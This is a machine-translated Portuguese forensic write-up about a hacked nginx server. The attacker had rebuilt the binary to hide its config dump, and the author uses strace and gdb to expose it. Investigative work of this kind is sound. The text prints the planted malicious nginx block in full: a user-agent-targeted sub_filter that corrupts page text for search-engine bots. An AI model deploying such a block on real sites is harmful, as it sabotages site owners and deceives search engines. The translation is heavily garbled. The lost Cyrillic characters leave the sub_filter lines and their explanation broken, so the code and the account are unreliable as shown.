Uma história desagradável aconteceu com um dos meus amigos. Mas, na medida em que acabou sendo desagradável para Mikhail, foi igualmente interessante para mim.
Devo dizer que meu amigo é um usuário bastante
UNIX : ele pode instalar o sistema, instalar o
mysql ,
php e fazer as configurações mais simples do
nginx .
E ele tem uma dúzia e meia de sites dedicados a ferramentas de construção.
Um desses sites, dedicado a motosserras, fica bem nos motores de busca TOP. Este site é um revisor sem fins lucrativos, mas alguém passou por sua garganta e o atacou. O
DDoS , a força bruta e os comentários serão obscenos e enviarão abusos à hospedagem e ao ILV.
De repente, tudo se acalmou e essa trégua não foi boa, e o site começou a sair gradualmente dos principais resultados.

Isso era um ditado, então a bicicleta do administrador em si.
Estava chegando a hora do sono quando o telefone tocou: “Sanya, você não vai olhar para o meu servidor? Parece-me que eles me invadiram, não posso provar, mas o sentimento não saiu da terceira semana. Talvez eu só tenha que ser tratada por paranóia?
Em seguida, veio uma discussão de meia hora que pode ser resumida da seguinte forma:
- o terreno fértil era bastante fértil;
- cracker pode ganhar direitos de superusuário;
- o ataque (se ocorreu) foi direcionado especificamente para este site;
- as áreas problemáticas são corrigidas e você só precisa entender se houve um fato de penetração;
- o hacking não conseguiu tocar no código e nos bancos de dados do site.
Em relação ao último parágrafo.

Somente o front end IP branco está olhando para o mundo. Não há troca entre back-end e front-end, exceto http (s), usuários / senhas são diferentes, chaves não são trocadas. Nos endereços cinza, todas as portas, exceto 80/443, estão fechadas. Os backends de IP branco são conhecidos apenas por dois usuários em quem Michael confia plenamente.
O Debian 9 é instalado no front-end e na hora da chamada, o sistema é isolado do mundo por um firewall externo e parado.
"Ok, me dê acesso", decido adiar o sono por uma hora. "Verei com meus próprios olhos."
Daqui em diante:
$ grep -F PRETTY_NAME /etc/*releas* PRETTY_NAME="Debian GNU/Linux 9 (stretch)" $ `echo $SHELL` --version GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu) $ nginx -v nginx version: nginx/1.10.3 $ gdb --version GNU gdb (Debian 8.2.1-2) 8.2.1
Em busca de um possível hack
Eu inicio o servidor, primeiro no
modo de recuperação . Eu monto discos, folheio
autorizações ,
histórico , registros do sistema etc., se possível, verifico as datas de criação do arquivo, embora eu entenda que um cracker normal "suaria" atrás dele, e Misha já sabia "pisar" enquanto procurava por si mesmo.
Começo no modo normal, especialmente ainda não sabendo o que procurar, estou estudando configurações. Ele está interessado principalmente no
nginx , pois, em geral, não há nada além dele no frontend.
As configurações são pequenas, bem estruturadas em uma dúzia de arquivos; eu apenas olho através deles apenas por
gato . Tudo parece estar limpo, mas você nunca perdeu alguns
incluem , eu farei uma lista completa:
$ nginx -T nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful
Não entendi: "Onde está a listagem?"
$ nginx -V nginx version: nginx/1.10.3 TLS SNI support enabled configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
O segundo é adicionado à pergunta da lista: "Por que uma versão tão antiga do nginx?"
Além disso, o sistema acredita que a versão está instalada fresca:
$ dpkg -l nginx | grep "[n]ginx" ii nginx 1.14.2-2+deb10u1 all small, powerful, scalable web/proxy server
Eu estou ligando:
- Misha, por que você está reconstruindo o
nginx ?
- Ok, eu nem sei como fazer isso!
- Ok, bem, durma ...
O Nginx é remontado de forma inequívoca e a listagem de listagem para "-T" fica oculta por um motivo. Não há dúvida sobre hackers e você pode simplesmente aceitá-lo e (desde que o Misha substituiu o servidor por um novo de qualquer maneira), considere o problema resolvido.
E, de fato, como alguém tem
privilégios de root , faz sentido fazer apenas a
reinstalação do sistema e procurar o que foi mal utilizado lá, mas desta vez a curiosidade derrotou o sonho. Como descobrir o que eles queriam esconder de nós?
Vamos tentar rastrear:
$ strace nginx -T
Nós olhamos através do traço claramente não é suficiente linhas a la
write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf) = 21 write(1, "... write(1, "\n", 1
Por diversão, compare as conclusões
$ strace nginx -T 2>&1 | wc -l 264 $ strace nginx -t 2>&1 | wc -l 264
Eu acho que parte do código
/src/core/nginx.c case 't': ngx_test_config = 1; break; case 'T': ngx_test_config = 1; ngx_dump_config = 1; break;
foi reduzido para a forma:
case 't': ngx_test_config = 1; break; case 'T': ngx_test_config = 1;
ou
case 't': ngx_test_config = 1; break; case 'T': ngx_test_config = 1; ngx_dump_config = 0; break;
portanto, a listagem por -T não é exibida.
Mas como ver nossa configuração?
Se minha ideia estiver correta e o problema estiver apenas na variável
ngx_dump_config, tentaremos instalá-la usando o
gdb , pois a chave
--with-cc-opt -g está presente e esperamos que a otimização
-O2 não nos
prejudique . Ao mesmo tempo, como não sei como o
ngx_dump_config poderia ser processado no
caso 'T' : , não chamaremos esse bloco, mas instalá-lo usando o
caso 't':Por que posso usar '-t' junto com '-T'O processamento do bloco
if (ngx_dump_config) ocorre dentro de
if (ngx_test_config) :
if (ngx_test_config) { if (!ngx_quiet_mode) { ngx_log_stderr(0, "configuration file %s test is successful", cycle->conf_file.data); } if (ngx_dump_config) { cd = cycle->config_dump.elts; for (i = 0; i < cycle->config_dump.nelts; i++) { ngx_write_stdout("# configuration file "); (void) ngx_write_fd(ngx_stdout, cd[i].name.data, cd[i].name.len); ngx_write_stdout(":" NGX_LINEFEED); b = cd[i].buffer; (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos); ngx_write_stdout(NGX_LINEFEED); } } return 0; }
Obviamente, se o código for alterado nesta parte, e não no
caso 'T' : , meu método não funcionará.
Teste nginx.confJá tendo resolvido o problema empiricamente, descobriu-se que para a operação do malware é necessária uma configuração mínima do
nginx do formulário:
events { } http { include /etc/nginx/sites-enabled/*; }
Vamos usá-lo por questões de brevidade no artigo.
Execute o depurador $ gdb --silent --args nginx -t Reading symbols from nginx...done. (gdb) break main Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188. (gdb) run Starting program: nginx -t [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188 188 src/core/nginx.c: No such file or directory. (gdb) print ngx_dump_config=1 $1 = 1 (gdb) continue Continuing. nginx: the configuration file /etc/nginx/nginx.conf syntax is ok nginx: configuration file /etc/nginx/nginx.conf test is successful # configuration file /etc/nginx/nginx.conf: events { } http { map $http_user_agent $sign_user_agent { "~*yandex.com/bots" 1; "~*www.google.com/bot.html" 1; default 0; } map $uri $sign_uri { "~*/wp-" 1; default 0; } map :$sign_user_agent:$sign_uri $sign_o { :1:0 o; default ; } map :$sign_user_agent:$sign_uri $sign_a { :1:0 a; default ; } sub_filter_once off; sub_filter '' $sign_o; sub_filter '' $sign_a; include /etc/nginx/sites-enabled/*; } # configuration file /etc/nginx/sites-enabled/default: [Inferior 1 (process 32581) exited normally] (gdb) quit
Os passos:
- definir um ponto de interrupção na função main ()
- executar o programa
- altere o valor da variável que define a saída da configuração ngx_dump_config = 1
- continuar / terminar o programa
Como você pode ver, a configuração real é diferente da nossa, selecionamos uma peça espúria:
map $http_user_agent $sign_user_agent { "~*yandex.com/bots" 1; "~*www.google.com/bot.html" 1; default 0; } map $uri $sign_uri { "~*/wp-" 1; default 0; } map :$sign_user_agent:$sign_uri $sign_o { :1:0 o; default ; } map :$sign_user_agent:$sign_uri $sign_a { :1:0 a; default ; } sub_filter_once off; sub_filter '' $sign_o; sub_filter '' $sign_a;
Vamos considerar em ordem o que está acontecendo aqui.
Definido pelo yandex / google do
User-Agent :
map $http_user_agent $sign_user_agent { "~*yandex.com/bots" 1; "~*www.google.com/bot.html" 1; default 0; }
As páginas de serviço do Wordpress são
excluídas :
map $uri $sign_uri { "~*/wp-" 1; default 0; }
E para aqueles que se enquadram nas duas condições acima
map :$sign_user_agent:$sign_uri $sign_o { :1:0 o; default ; } map :$sign_user_agent:$sign_uri $sign_a { :1:0 a; default ; }
no texto da página
html- altera
'o' para
'o' e
'a' para
'a' :
sub_filter_once off; sub_filter '' $sign_o; sub_filter '' $sign_a;
Exatamente, a sutileza é que
'a'! = 'A' é o mesmo que
'o'! = 'O' :

Assim, os robôs dos mecanismos de pesquisa recebem, em vez do texto cirílico 100% normal, o lixo modificado diluído com o latim
'a' e
'o' . Não presumo discutir como isso afeta o SEO, mas é improvável que esse hash literal afete positivamente as posições na SERP.
O que dizem caras com fantasia.
Referências
Depurando com GDBgdb (1) - Página de manual do Linuxstrace (1) - Página de manual do LinuxNginx - Módulo ngx_http_sub_moduleSobre serras, motosserras e motosserras